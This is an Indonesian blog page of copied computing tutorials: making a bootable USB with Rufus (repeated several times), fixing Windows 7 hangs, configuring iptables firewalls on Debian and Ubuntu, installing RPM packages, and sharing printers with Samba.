ID Card Otaku

ID Card Otaku
ID Card Otaku
Latest Post

Written By Unknown on Rabu, 16 April 2014 | 06.18


Cara Cepat dan Mudah Membuat Flashdisk Bootable dengan Rufus

Ada cara lain untuk membuat flashdisk bootable dengan cepat dan mudah. Jika dahulu kita membuatnya dengan winToFlash, tapi kali ini berbeda dan tentunya lebih mudah. Kita akan membuatnya dengan software Rufus. Syaratnya file yang akan dibuat harus file ISO. Rufus merupakan jenis freeware yang sangat ringan dan portable berukuran kecil yang berfungsi untuk membuat bootable flashdisk.

Sekilas tentang file ISO
Sebenarnya saya juga tidak sepenuhnya paham dengan file ISO. Namun menurut saya, file ISO sama halnya seperti file back-up dari sebuah CD yang bisa dibuat oleh kita dengan bantuan software (jika pada OS Windows, tapi jika pada Linux saya dengar bisa dibuat tanpa software). Dengan kata lain, file ISO merupakan klonningan dari file yang terdapat pada CD.

Ada juga yang mengatakan jika file ISO merupakan gambaran atau image dari sebuah disk CD-ROM yang berisi salinan akurat dari CD aslinya. Untuk membukanya kita harus membakar terlebih dahulu sebuah file ISO pada sebuah CD untuk mengekstrak isinya. Namun kabarnya sekarang kita dapat membukanya dengan Undisker. Contoh :
Jika selama ini kita menginstall OS pada komputer menggunakan DVD instalasi, maka kita juga bisa mendapatkan file yang sama persis dengan isi pada DVD tersebut, tapi berjenis file ISO dengan men-downloadnya pada situs microsoft. Kurang lebihnya begitulah, hehe...

Ok, sekarang kita kembali lagi ke topik. Dalam fungsinya untuk menginstal sistem operasi lewat flashdisk, langkah ini merupakan persiapan awal yang kita lakukan sebelum langkah setting bios pada komputer maupun laptop kita. Dan Rufus memiliki kelebihan paling cepat jika dibandingkan dengan software yang lain

Langkah pembuatan bootable flashdisk dengan Rufus :
1. Langkah pertama download dulu softwarenya : Download Rufus (154KB)
2. Pasang Flashdisk pada komputer
3. Double klik / jalankan  Rufus
4. Pilih perangkat Device yang digunakan untuk membuat bootable flashdisk atau lewati saja langkah ini, karena akan terdeteksi secara otomatis
5. Karena kita akan membuat bootable disk dari file ISO, maka pilih tombol ISO Image dan klik gambar (lihat panah merah !)

cara membuat flashdisk bootable

6. Cari file ISO yang akan dieksekusi dan klik tombol Start
7. Selesai sudah.

Kecepatan perbandingan antara Rufus dan aplikasi lainnya yang sejenis dan data ini saya peroleh langsung dari situs resminya :
Waktu untuk membuat Windows 7 x64: en_windows_7_ultimate_with_sp1_x64_dvd_618240.iso

- Windows 7 USB / DVD Download Alat v1.0.30 8 menit 10s
- Universal USB Installer v1.8.7.5 7 menit 10s
- UNetbootin v1.1.1.1 6 menit 20-an
- RMPrepUSB 4 menit 10s
- WiNToBootic v1.2 3 menit 35S
- Rufus v1.1.1 3 menit 25s

Sekian artikel tentang cara membuat flashdisk bootable dengan Rufus. Kawan dapat mengetahui informasi lebih dalam tentang Rufus pada website resminya : http://rufus.akeo.ie/
Baca juga artikel cara membuat flashdik bootable dengan WinToFlash disini
- See more at: http://inilahtipsku.blogspot.com/2012/11/cara-membuat-flashdisk-bootable-dengan-rufus.html#sthash.SCLTAWNT.dpuf

Cara Cepat dan Mudah Membuat Flashdisk Bootable dengan Rufus

Ada cara lain untuk membuat flashdisk bootable dengan cepat dan mudah. Jika dahulu kita membuatnya dengan winToFlash, tapi kali ini berbeda dan tentunya lebih mudah. Kita akan membuatnya dengan software Rufus. Syaratnya file yang akan dibuat harus file ISO. Rufus merupakan jenis freeware yang sangat ringan dan portable berukuran kecil yang berfungsi untuk membuat bootable flashdisk.

Sekilas tentang file ISO
Sebenarnya saya juga tidak sepenuhnya paham dengan file ISO. Namun menurut saya, file ISO sama halnya seperti file back-up dari sebuah CD yang bisa dibuat oleh kita dengan bantuan software (jika pada OS Windows, tapi jika pada Linux saya dengar bisa dibuat tanpa software). Dengan kata lain, file ISO merupakan klonningan dari file yang terdapat pada CD.

Ada juga yang mengatakan jika file ISO merupakan gambaran atau image dari sebuah disk CD-ROM yang berisi salinan akurat dari CD aslinya. Untuk membukanya kita harus membakar terlebih dahulu sebuah file ISO pada sebuah CD untuk mengekstrak isinya. Namun kabarnya sekarang kita dapat membukanya dengan Undisker. Contoh :
Jika selama ini kita menginstall OS pada komputer menggunakan DVD instalasi, maka kita juga bisa mendapatkan file yang sama persis dengan isi pada DVD tersebut, tapi berjenis file ISO dengan men-downloadnya pada situs microsoft. Kurang lebihnya begitulah, hehe...

Ok, sekarang kita kembali lagi ke topik. Dalam fungsinya untuk menginstal sistem operasi lewat flashdisk, langkah ini merupakan persiapan awal yang kita lakukan sebelum langkah setting bios pada komputer maupun laptop kita. Dan Rufus memiliki kelebihan paling cepat jika dibandingkan dengan software yang lain

Langkah pembuatan bootable flashdisk dengan Rufus :
1. Langkah pertama download dulu softwarenya : Download Rufus (154KB)
2. Pasang Flashdisk pada komputer
3. Double klik / jalankan  Rufus
4. Pilih perangkat Device yang digunakan untuk membuat bootable flashdisk atau lewati saja langkah ini, karena akan terdeteksi secara otomatis
5. Karena kita akan membuat bootable disk dari file ISO, maka pilih tombol ISO Image dan klik gambar (lihat panah merah !)

cara membuat flashdisk bootable

6. Cari file ISO yang akan dieksekusi dan klik tombol Start
7. Selesai sudah.

Kecepatan perbandingan antara Rufus dan aplikasi lainnya yang sejenis dan data ini saya peroleh langsung dari situs resminya :
Waktu untuk membuat Windows 7 x64: en_windows_7_ultimate_with_sp1_x64_dvd_618240.iso

- Windows 7 USB / DVD Download Alat v1.0.30 8 menit 10s
- Universal USB Installer v1.8.7.5 7 menit 10s
- UNetbootin v1.1.1.1 6 menit 20-an
- RMPrepUSB 4 menit 10s
- WiNToBootic v1.2 3 menit 35S
- Rufus v1.1.1 3 menit 25s

Sekian artikel tentang cara membuat flashdisk bootable dengan Rufus. Kawan dapat mengetahui informasi lebih dalam tentang Rufus pada website resminya : http://rufus.akeo.ie/
Baca juga artikel cara membuat flashdik bootable dengan WinToFlash disini
- See more at: http://inilahtipsku.blogspot.com/2012/11/cara-membuat-flashdisk-bootable-dengan-rufus.html#sthash.SCLTAWNT.dpuf

Cara Cepat dan Mudah Membuat Flashdisk Bootable dengan Rufus

Ada cara lain untuk membuat flashdisk bootable dengan cepat dan mudah. Jika dahulu kita membuatnya dengan winToFlash, tapi kali ini berbeda dan tentunya lebih mudah. Kita akan membuatnya dengan software Rufus. Syaratnya file yang akan dibuat harus file ISO. Rufus merupakan jenis freeware yang sangat ringan dan portable berukuran kecil yang berfungsi untuk membuat bootable flashdisk.

Sekilas tentang file ISO
Sebenarnya saya juga tidak sepenuhnya paham dengan file ISO. Namun menurut saya, file ISO sama halnya seperti file back-up dari sebuah CD yang bisa dibuat oleh kita dengan bantuan software (jika pada OS Windows, tapi jika pada Linux saya dengar bisa dibuat tanpa software). Dengan kata lain, file ISO merupakan klonningan dari file yang terdapat pada CD.

Ada juga yang mengatakan jika file ISO merupakan gambaran atau image dari sebuah disk CD-ROM yang berisi salinan akurat dari CD aslinya. Untuk membukanya kita harus membakar terlebih dahulu sebuah file ISO pada sebuah CD untuk mengekstrak isinya. Namun kabarnya sekarang kita dapat membukanya dengan Undisker. Contoh :
Jika selama ini kita menginstall OS pada komputer menggunakan DVD instalasi, maka kita juga bisa mendapatkan file yang sama persis dengan isi pada DVD tersebut, tapi berjenis file ISO dengan men-downloadnya pada situs microsoft. Kurang lebihnya begitulah, hehe...

Ok, sekarang kita kembali lagi ke topik. Dalam fungsinya untuk menginstal sistem operasi lewat flashdisk, langkah ini merupakan persiapan awal yang kita lakukan sebelum langkah setting bios pada komputer maupun laptop kita. Dan Rufus memiliki kelebihan paling cepat jika dibandingkan dengan software yang lain

Langkah pembuatan bootable flashdisk dengan Rufus :
1. Langkah pertama download dulu softwarenya : Download Rufus (154KB)
2. Pasang Flashdisk pada komputer
3. Double klik / jalankan  Rufus
4. Pilih perangkat Device yang digunakan untuk membuat bootable flashdisk atau lewati saja langkah ini, karena akan terdeteksi secara otomatis
5. Karena kita akan membuat bootable disk dari file ISO, maka pilih tombol ISO Image dan klik gambar (lihat panah merah !)

cara membuat flashdisk bootable

6. Cari file ISO yang akan dieksekusi dan klik tombol Start
7. Selesai sudah.

Kecepatan perbandingan antara Rufus dan aplikasi lainnya yang sejenis dan data ini saya peroleh langsung dari situs resminya :
Waktu untuk membuat Windows 7 x64: en_windows_7_ultimate_with_sp1_x64_dvd_618240.iso

- Windows 7 USB / DVD Download Alat v1.0.30 8 menit 10s
- Universal USB Installer v1.8.7.5 7 menit 10s
- UNetbootin v1.1.1.1 6 menit 20-an
- RMPrepUSB 4 menit 10s
- WiNToBootic v1.2 3 menit 35S
- Rufus v1.1.1 3 menit 25s

Sekian artikel tentang cara membuat flashdisk bootable dengan Rufus. Kawan dapat mengetahui informasi lebih dalam tentang Rufus pada website resminya : http://rufus.akeo.ie/
Baca juga artikel cara membuat flashdik bootable dengan WinToFlash disini
- See more at: http://inilahtipsku.blogspot.com/2012/11/cara-membuat-flashdisk-bootable-dengan-rufus.html#sthash.SCLTAWNT.dpuf

Cara Cepat dan Mudah Membuat Flashdisk Bootable dengan Rufus

Ada cara lain untuk membuat flashdisk bootable dengan cepat dan mudah. Jika dahulu kita membuatnya dengan winToFlash, tapi kali ini berbeda dan tentunya lebih mudah. Kita akan membuatnya dengan software Rufus. Syaratnya file yang akan dibuat harus file ISO. Rufus merupakan jenis freeware yang sangat ringan dan portable berukuran kecil yang berfungsi untuk membuat bootable flashdisk.

Sekilas tentang file ISO
Sebenarnya saya juga tidak sepenuhnya paham dengan file ISO. Namun menurut saya, file ISO sama halnya seperti file back-up dari sebuah CD yang bisa dibuat oleh kita dengan bantuan software (jika pada OS Windows, tapi jika pada Linux saya dengar bisa dibuat tanpa software). Dengan kata lain, file ISO merupakan klonningan dari file yang terdapat pada CD.

Ada juga yang mengatakan jika file ISO merupakan gambaran atau image dari sebuah disk CD-ROM yang berisi salinan akurat dari CD aslinya. Untuk membukanya kita harus membakar terlebih dahulu sebuah file ISO pada sebuah CD untuk mengekstrak isinya. Namun kabarnya sekarang kita dapat membukanya dengan Undisker. Contoh :
Jika selama ini kita menginstall OS pada komputer menggunakan DVD instalasi, maka kita juga bisa mendapatkan file yang sama persis dengan isi pada DVD tersebut, tapi berjenis file ISO dengan men-downloadnya pada situs microsoft. Kurang lebihnya begitulah, hehe...

Ok, sekarang kita kembali lagi ke topik. Dalam fungsinya untuk menginstal sistem operasi lewat flashdisk, langkah ini merupakan persiapan awal yang kita lakukan sebelum langkah setting bios pada komputer maupun laptop kita. Dan Rufus memiliki kelebihan paling cepat jika dibandingkan dengan software yang lain

Langkah pembuatan bootable flashdisk dengan Rufus :
1. Langkah pertama download dulu softwarenya : Download Rufus (154KB)
2. Pasang Flashdisk pada komputer
3. Double klik / jalankan  Rufus
4. Pilih perangkat Device yang digunakan untuk membuat bootable flashdisk atau lewati saja langkah ini, karena akan terdeteksi secara otomatis
5. Karena kita akan membuat bootable disk dari file ISO, maka pilih tombol ISO Image dan klik gambar (lihat panah merah !)

cara membuat flashdisk bootable

6. Cari file ISO yang akan dieksekusi dan klik tombol Start
7. Selesai sudah.

Kecepatan perbandingan antara Rufus dan aplikasi lainnya yang sejenis dan data ini saya peroleh langsung dari situs resminya :
Waktu untuk membuat Windows 7 x64: en_windows_7_ultimate_with_sp1_x64_dvd_618240.iso

- Windows 7 USB / DVD Download Alat v1.0.30 8 menit 10s
- Universal USB Installer v1.8.7.5 7 menit 10s
- UNetbootin v1.1.1.1 6 menit 20-an
- RMPrepUSB 4 menit 10s
- WiNToBootic v1.2 3 menit 35S
- Rufus v1.1.1 3 menit 25s

Sekian artikel tentang cara membuat flashdisk bootable dengan Rufus. Kawan dapat mengetahui informasi lebih dalam tentang Rufus pada website resminya : http://rufus.akeo.ie/
Baca juga artikel cara membuat flashdik bootable dengan WinToFlash disini
- See more at: http://inilahtipsku.blogspot.com/2012/11/cara-membuat-flashdisk-bootable-dengan-rufus.html#sthash.SCLTAWNT.dpuf

Cara Cepat dan Mudah Membuat Flashdisk Bootable dengan Rufus

Ada cara lain untuk membuat flashdisk bootable dengan cepat dan mudah. Jika dahulu kita membuatnya dengan winToFlash, tapi kali ini berbeda dan tentunya lebih mudah. Kita akan membuatnya dengan software Rufus. Syaratnya file yang akan dibuat harus file ISO. Rufus merupakan jenis freeware yang sangat ringan dan portable berukuran kecil yang berfungsi untuk membuat bootable flashdisk.

Sekilas tentang file ISO
Sebenarnya saya juga tidak sepenuhnya paham dengan file ISO. Namun menurut saya, file ISO sama halnya seperti file back-up dari sebuah CD yang bisa dibuat oleh kita dengan bantuan software (jika pada OS Windows, tapi jika pada Linux saya dengar bisa dibuat tanpa software). Dengan kata lain, file ISO merupakan klonningan dari file yang terdapat pada CD.

Ada juga yang mengatakan jika file ISO merupakan gambaran atau image dari sebuah disk CD-ROM yang berisi salinan akurat dari CD aslinya. Untuk membukanya kita harus membakar terlebih dahulu sebuah file ISO pada sebuah CD untuk mengekstrak isinya. Namun kabarnya sekarang kita dapat membukanya dengan Undisker. Contoh :
Jika selama ini kita menginstall OS pada komputer menggunakan DVD instalasi, maka kita juga bisa mendapatkan file yang sama persis dengan isi pada DVD tersebut, tapi berjenis file ISO dengan men-downloadnya pada situs microsoft. Kurang lebihnya begitulah, hehe...

Ok, sekarang kita kembali lagi ke topik. Dalam fungsinya untuk menginstal sistem operasi lewat flashdisk, langkah ini merupakan persiapan awal yang kita lakukan sebelum langkah setting bios pada komputer maupun laptop kita. Dan Rufus memiliki kelebihan paling cepat jika dibandingkan dengan software yang lain

Langkah pembuatan bootable flashdisk dengan Rufus :
1. Langkah pertama download dulu softwarenya : Download Rufus (154KB)
2. Pasang Flashdisk pada komputer
3. Double klik / jalankan  Rufus
4. Pilih perangkat Device yang digunakan untuk membuat bootable flashdisk atau lewati saja langkah ini, karena akan terdeteksi secara otomatis
5. Karena kita akan membuat bootable disk dari file ISO, maka pilih tombol ISO Image dan klik gambar (lihat panah merah !)

cara membuat flashdisk bootable

6. Cari file ISO yang akan dieksekusi dan klik tombol Start
7. Selesai sudah.

Kecepatan perbandingan antara Rufus dan aplikasi lainnya yang sejenis dan data ini saya peroleh langsung dari situs resminya :
Waktu untuk membuat Windows 7 x64: en_windows_7_ultimate_with_sp1_x64_dvd_618240.iso

- Windows 7 USB / DVD Download Alat v1.0.30 8 menit 10s
- Universal USB Installer v1.8.7.5 7 menit 10s
- UNetbootin v1.1.1.1 6 menit 20-an
- RMPrepUSB 4 menit 10s
- WiNToBootic v1.2 3 menit 35S
- Rufus v1.1.1 3 menit 25s

Sekian artikel tentang cara membuat flashdisk bootable dengan Rufus. Kawan dapat mengetahui informasi lebih dalam tentang Rufus pada website resminya : http://rufus.akeo.ie/
Baca juga artikel cara membuat flashdik bootable dengan WinToFlash disini
- See more at: http://inilahtipsku.blogspot.com/2012/11/cara-membuat-flashdisk-bootable-dengan-rufus.html#sthash.SCLTAWNT.dpuf

Cara Mengatasi Komputer / Laptop Hang untuk Windows 7

Ads
Komputer atau laptop yang tiba-tiba hang ketika digunakan bisa sangat menyebalkan. Apalagi ketika sudah mengetik banyak dan belum sempat tersimpan. Cara instannya, kalau komputer tinggal dicabut colokan listriknya dan kalau laptop tinggal lepas baterainya. Namun, cara ini tidak baik untuk komputer dan laptop.
Masalah laptop atau komputer yang nge-hang secara tiba-tiba bukan hanya ketika menjalankan program, tetapi juga bisa ketika hendak di-shut down. Lalu bagaimana cara mengatasi masalah komputer / laptop yang nge-hang?
Berikut ini adalah cara mengatasi hang pada laptop / komputer ketika menjalankan program atau saat hendak di-shut down (untuk Windows 7).
1. Tekan tombol F8 pada fase awal booting.
2. Pilih Command Prompt Safe Mode.
3. Apabila diminta, logon sebagai Administrator.
4. Pilih Repair saat diminta.
5. Selanjutnya, pilih Command Prompt.
6. Untuk instalasi Windows, identifikasi huruf drive yang benar, bisa drive E: atau F:. Caranya yaitu dengan memasukkan perintah:
dir C: \ Win *
dir D: \ Win *
dir E: \ Win *
hingga menemukan folder Windows. Misalnya, dalam postingan ini, drive "C:".
7. Masukkan perintah berikut ini pada Comand Prompt:
cd /d C:\windows\System32\config
xcopy *.* C:\RegBack\
cd RegBack
dir
8. Reboot secara normal. Sebelum melakukan reboot, copy file registry asli dari C: \ Regback ke C: \ Windows \ System32 \ config.
Itulah cara mengatasi komputer / laptop hang saat menjalankan aplikasi atau hendak Shut down. Tutorial ini untuk pengguna OS Windows 7.
- See more at: http://www.limaratus.com/2013/09/cara-mengatasi-komputer-laptop-hang.html#sthash.SGFG8qAy.dpuf

Konfigurasi Firewall dengan Iptables di Debian 6 Squeeze

Written By Unknown on Kamis, 03 April 2014 | 20.25


Firewall merupakan komponen yang sangat penting untuk sebuah jaringan jika dilihat dari sisi keamanan. Tugas dari firewall ini adalah untuk memfilter paket-paket data yang mana saja yang boleh lewat dan tidak. Jadi Firewall ini ibarat lampu lalu lintas yang ada di dalam sebuah jaringan. Berhubung firewall ini adalah sisi yang sangat rentan terhadap serangan dari luar, maka untuk konfigurasi firewall seperti ini, menggunakan iptables merupakan pilihan yang tepat. Selain ringan dan simpel, iptables ternyata sangatlah powerful sekali dalam penerapan sistem firewall di Debian. Banyak sekali yang dapat kita manfaatkan dari aplikasi yang satu ini. Mulai dari routing, blokir paket data, hingga penerapan-penerapan firewall advanced lainnya. Jika kalian bisa menguasai perintah-perintah iptables ini, wah dijamin kalian pasti bakalan menjadi ahli networking security yang handal. :D

Nah, pada tutorial kali ini, saya ingin membagikan sebuah skrip iptables hasil iseng-iseng saya yang akan mengaktifkan beberapa fungsi firewall sederhana di Debian. Kira-kira rulenya adalah seperti ini : Seluruh jaringan lokal dapat mengakses ke internet, sedangkan semua akses dari luar akan ditutup kecuali akses ke SSH dan ke HTTP server.

Yuk, cekidot! :)

Menerapkan Iptables sebagai Firewall di Debian 6 Squeeze

Kita anggap bahwa topologi jaringannya adalah seperti ini dimana eth0 adalah interface luar/external(EXTIF) dan eth1 adalah interface lokal/internal(INTIF) :


client-----(eth1)firewall(eth0)-----internet


1. Kemudian buat filenya terlebih dahulu, kita beri nama filenya firewall saja. Dan kita letakkan di folder root agar lebih mudah.

# nano firewall

2. Kopikan script dibawah ini :

#!/bin/sh
IPTABLES='/sbin/iptables'
# Set nilai interface
EXTIF='eth0'
INTIF='eth1'
#Aktifkan ip forwarding di kernel
/bin/echo 1 > /proc/sys/net/ipv4/ip_forward
#flush aturan dan hapus chains
$IPTABLES ­F
$IPTABLES ­X
#Aktifkan masquerade untuk membolehkan LAN mengakses jaringan eksternal
$IPTABLES ­t nat ­A POSTROUTING ­o $EXTIF ­j MASQUERADE
#Tersukan trafik LAN dari LAN $INTIF ke internet $EXTIF
$IPTABLES ­A FORWARD ­i $INTIF ­o $EXTIF ­m state ­­state NEW,ESTABLISHED ­j ACCEPT
#Membolehkan akses ke server SSH
$IPTABLES ­A INPUT ­­protocol tcp ­­dport 22 ­j ACCEPT
#Membolehkan akses ke server HTTP
$IPTABLES ­A INPUT ­­protocol tcp ­­dport 80 ­j ACCEPT
#blok seluruh akses ke $EXTIF
$IPTABLES ­A INPUT ­i $EXTIF ­m state ­­state NEW,INVALID ­j DROP
$IPTABLES ­A FORWARD ­i $EXTIF ­m state ­­state NEW,INVALID ­j DROP


Save dan tutup filenya.

3. Beri hak akses executable

# chmod +x firewall

4. Jalankan iptables dan save rulenya agar tetap tersimpan meskipun komputer direstart.

# /etc/init.d/iptables start
# ./firewall
# iptables-save > /etc/network/iptables.conf
# /etc/init.d/iptables save


Selesai deh :D Silahkan lakukan pengetesan sendiri ya :p

Semoga bermanfaat :)
Sumber : http://www.linuxku.com/2012/01/konfigurasi-firewall-dengan-iptables-di.html

Konfigurasi Iptables Pada Ubuntu Linux

Konfigurasi Iptables Pada Ubuntu Linux

unas - konfigurasi iptables pada ubuntu
Konfigurasi iptables pada Ubuntu Linux secara default belum aktif atau masih terbuka untuk semua permintaan akses baik yang berasal dari dalam atau menuju OS (server) tersebut. Secara sederhana, Iptables sendiri dapat disimpulkian sebagai software yang bertugas untuk membuat filter pada server kita, atau umumnya lebih dikenal dengan sebutan firewall.
Sama seperti Linux pada umunya,  untuk konfigurasi iptables pada Ubuntu adalah dengan menggunakan perintah iptables-save untuk menyimpan dan iptables-restore untuk menjalankan atau mengaktifkannya., begitu juga dengan sintaks untuk perintah filter, nat dan mangle.
Untuk jelasanya sobat bisa membacanya pada tutorial di help ubuntu, disana akan jelas secara detail bagaimana cara penggunaan atau konfigurasi iptables pada Ubuntu Linux, mulai dari save, edit command sampai dengan pengaktifan menggunakan shell atau command line.
Namun pada kesempatan ini penulis akan coba menjelaskan bagaimana melakukan konfigurasi iptables pada Ubuntu secara sederhana dan menjalankan atau mengaktifkannya. Oh iya, karena penulis termasuk baru dalam hal mempelajari Ubuntu, agar tidak terlalu repot dan menyusahkan, konfigurasi awal nyontek aja dari iptables yang ada dalam server Fedora, hehehehehe :-)
langkah pertama bikin file konfigurasinya :
$ sudo vi /etc/iptables.rules , copykan perintah dibawah ini
*filter
:INPUT ACCEPT [368:102354]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [92952:20764374]
-A INPUT -i lo -j ACCEPT
-A INPUT  -p tcp -m tcp –dport 22 -j ACCEPT
-A INPUT  -p tcp -m tcp –dport 80 -j ACCEPT
-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -j DROP
COMMIT
save menggunakan perintah esc+w+q, perintah iptables diatas akan membukan akses untuk ssh (port 22) dan webserver (port 80)
Setelah itu kita akan cek apakah iptables sudah aktif pada server kita, ketikkan perintah:
$ sudo iptables -xvL
Chain INPUT (policy ACCEPT 24 packets, 1776 bytes)
pkts      bytes target     prot opt in     out     source               destination
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts      bytes target     prot opt in     out     source               destination
Chain OUTPUT (policy ACCEPT 13 packets, 1316 bytes)
pkts      bytes target     prot opt in     out     source               destination
Keterangan diatas menjelaskan bahwa iptables belum aktif pada server, oleh karena itu jalankan perintah untuk mengaktifkan iptables, ketikkan perintah dibawah:
$ sudo iptables-restore < /etc/iptables.rules
Setelah itu silahkan cek kembali iptables dengan perintah seperti diatas:
$ sudo iptables -xvL
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target     prot opt in     out     source               destination
0     0  ACCEPT     all  –  lo     any     anywhere             anywhere
0     0  ACCEPT     all  –  any    any     anywhere             anywhere            state RELATED,ESTABLISHED
0     0  ACCEPT     tcp  –  any    any     anywhere             anywhere            tcp dpt:ssh
0     0  ACCEPT     tcp  –  any    any     anywhere             anywhere            tcp dpt:www
0     0  DROP       all  –  any    any   anywhere           anywhere
Terlihat pada keterangan diatas bahwa iptables sudah berjalan dan terdapat filter untuk ssh dan webserver, nah sekarang tinggal memikirkan gimana caranya supaya perintah diatas bisa jalan berbarengan dengan server hidup atau menyala.
Langkah pertama buat script sederhana untuk mematikannya, ketikkan perintah berikut :
$ sudo vi /etc/iptables.shutdown, copykan perintah dibawah:
echo “Stopping Firewall….”
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
Save menggunakan esc+w+q seperti biasa, dan ketikkan perintah:
$ sudo chomd 755 /etc/iptables.shutdown
Langkah Kedua buat script. untuk startupnya :
$ sudo vi /etc/init.d/iptables, lalu copykan perintah dibawah:
#!/bin/bash
if [[ $1 == start ]] ; then
sudo iptables-restore < /etc/iptables.rules
else
sudo /etc/iptables.shutdown
fi
Save dan lanjutkan dengan perintah berikut:
$ sudo chmod 755 /etc/init.d/iptables
Langkah terakhir adalah membuat symbolik link ke /etc/rc.d dengan menggunakan perintah update-rc.d
$ sudo update-rc.d iptables start 20 2 3 4 5 . stop 99 0 1 6 .
Setelah itu tambahkan sistem startup untuk /etc/init.d/iptables …
/etc/rc0.d/K99iptables -> ../init.d/iptables
Atau cara mudahnya tambahkan aja dalam script /etc/rc.local, setelah itu buat symbolik link untuk start-up ke /etc/rc0.d dan untuk shutdown ke /etc/rc6.d, perhatikan perintah dibawah:
$ sudo vi /etc/rc.local, letakkan script di atas exit 0
# By default this script does nothing.
/etc/init.d/iptables start
exit 0
Simpan dan buat symbolik link-nya dengan perintah berikut:
$ sudo ln -sf /etc/rc0.d/k99iptables /etc/init.d/iptables
$ sudo ln -sf /etc/rc6.d/k99iptables /etc/init.d/iptables
$ sudo chmod 755 /etc/rc0.d/k99iptables
$ sudo chmod 755 /etc/rc6.d/k99iptables
Sampai dengan langkah ini, jika ingin mengaktifkan iptables  sobat tinggal ketikkan perintah:
$ sudo service iptables start
dan untuk mematikannya
$ sudo service iptables stop
Jika sobat ingin menambahkan atau mengedit perintah iptables, editlah konfigurasi yang ada di iptables.rules, seperti biasa setelah selesai, simpan file dan jalankan perintah stop dan start diatas.
Demikianlah cara paling sederhan yag penulis tahu tentang konfigurasi iptables pada Ubuntu Linux, jangan ragu untuk meninggalkan komentar jika menghadapi kendala, sekian dan terima kasih.



Sumber : http://ferdi.blog.unas.ac.id/troubleshooting/konfigurasi-iptables-pada-ubuntu-linux/

CARA MUDAH INSTALL PAKET RPM DI TERMINAL


CARA MUDAH INSTALL PAKET RPM DI TERMINAL


Assalamu alaikum!
Bagi sobat yang sempat bingung cara install paket .rpm secara manual dari terminal bisa lanjutkan membacanya :mrgreen: . Ya, sebelumnya saya juga sempat bingung tapi berkat sedikit browsing akhirnya ketemu juga (jadi happy, haha).
Langsung aja!
 RPM atau Redhat Package Manager dapat Anda install dengan perintah:

$ sudo rpm -i namapaket.rpm


Tapi sebelumnya direktorinya harus berada dimana paket itu ada dengan cara

$ cd /direktori/paket/
Tunggu bentar, selesai !


Kalau nggak ada pada daftar aplikasi bisa menjalankannya lewat terminal.


Semoga Bermanfaat ?

Sumber : http://gablora.wordpress.com/2011/06/18/cara-mudah-install-paket-rpm-di-terminal/

Cara Sharing Printer Dengan Samba Pada Ubuntu 10.04

Cara Sharing Printer Dengan Samba Pada Ubuntu 10.04



Ubuntu - Dengan samba (smb) komunkasi jaringan antara Linux dan Windows tak mustahil lagi. Begitulah, samba telah menjadi jembatang komunikasi data antara dua sistem operasi berbeda itu. Samba menjadikan Linux dan Windows terhubung dalan satu local area network.

Agar Windows dapat terhubung dalam jaringan Linux diperlukan samba server terinstal pada sistem Linux. Berikut ini kami akan sedit menjelaskan cara berbagi pakai printer pada Ubuntu 10.04 dengan bantuan samba.

Ini adalah pengalaman kami, Ubuntu 10.04 sedikit berbeda dengan versi sebelumnya dimana setelah samba diinstal dan jaringan dikonfigurasi ternyata sharing printer tidak secara otomastis terjadi. Meskipun pada smb.conf telah disetting agar printer diload saat komputer dinyalakan.

Uji coba ini kami lakukan pada beberapa komputer, satu diantaranya pada mesin server IBM. Kami telah menginstal Ubuntu 10.04 versi server maupun desktop dan hasilnya sama saja, printer tidak secara otomatis di-sharing saat koneksi mulai dilakukan.

Kami akan menyampaikan cara mengatasi masalah sharing printer dengan samba pada Ubuntu 10.04 ini, namun sebelumnya kita akan memulai dengan cara menginstal samba pada Ubuntu terlebih dahulu. Bagi Anda yang merasa mengalami masalah yang sama dengan kami, cara ini boleh jadi bisa Anda terapkan pada jaringan yang Anda kelola.

Untuk mencoba tutorial ini, kami mengasumsikan anda sudah terbiasa mengatur sebuah jaringan, membuat workgroup dan menentukan IP Address. Pastikan IP pada komputer Ubuntu telah anda sesuaikan dengan jaringan yang Anda miliki.

Secara default, samba server tidak secara otomatis diinstal saat proses instalasi Ubuntu, untuk menginstalnya, silahkan jalankan Synaptic melalui System-Administration-Synaptic Package Manager. Pada bagian Quick Search, silahkan ketik "samba" agar Synaptic melakukan pencarian paket samba yang Anda butuhkan. Klik kanan pada paket samba lalu pada menu yang ditampilkan pilih opsi "Mark for instalation", lihat gambar berikut untuk lebih jelasnya..


Klik tombol "Apply" agar samba segera diinstal. Silhakan setujui semua dialog konfirmasi. Setelah paket samba selesai didownload dan diinstal, klik tombol "Close" untuk mengakhiri proses instalasi...


Tutup Synaptic, kini saatnya mengkonfigurasi samba. Silahkan jalankan terminal melalui Applications-Accessories-Terminal...


Setelah jendela terminal terbuka, ketik perintah berikut ini lalu tekan enter...

sudo gedit /etc/samba/smb.conf

Bila Anda dimita memasukkan password, silahkan masukkan password yang Anda miliki lalu tekan enter. smb.conf akan segera dibuka oleh gedit, untuk lebih amannya, silahkan backup terlebih dahulu smb.conf sebelum anda melakukan pengeditan. Pada gedit, pilih menu Files lalu klik menu Save As, pada contoh ini kami membackup smb.conf dengan nama smb.conf.bak.


Silahka buka kembali smb.conf, hapus semua isinya lalu copy paste contoh smb.conf di bawah ini...

[global]
workgroup = BOJALINUX
server string = %h server (Samba, Ubuntu)
log file = /var/log/samba/log.%m
max log size = 1000
syslog = 0
panic action = /usr/share/samba/panic-action %d
security = share
encrypt passwords = true
passdb backend = tdbsam
obey pam restrictions = yes
unix password sync = yes
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
pam password change = yes
map to guest = bad user
load printers = yes
printcap name = /etc/printcap
printing = cups
printcap name = cups
usershare allow guests = yes

[printers]
comment = All Printers
browseable = yes
path = /var/spool/samba
printable = yes
guest ok = yes
read only = yes
create mask = 0700

[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = yes


Silahkan ubah workgroup=BOJALINUX dengan nama workgroup yang Anda inginkan lalu simpan smb.conf tersebut. Tutup gedit, pada terminal yang masih terbuka, ketik perintah berikut lalu tekan enter untuk merestart service samba...

sudo service smbd restart

Masukkan password jika diminta...

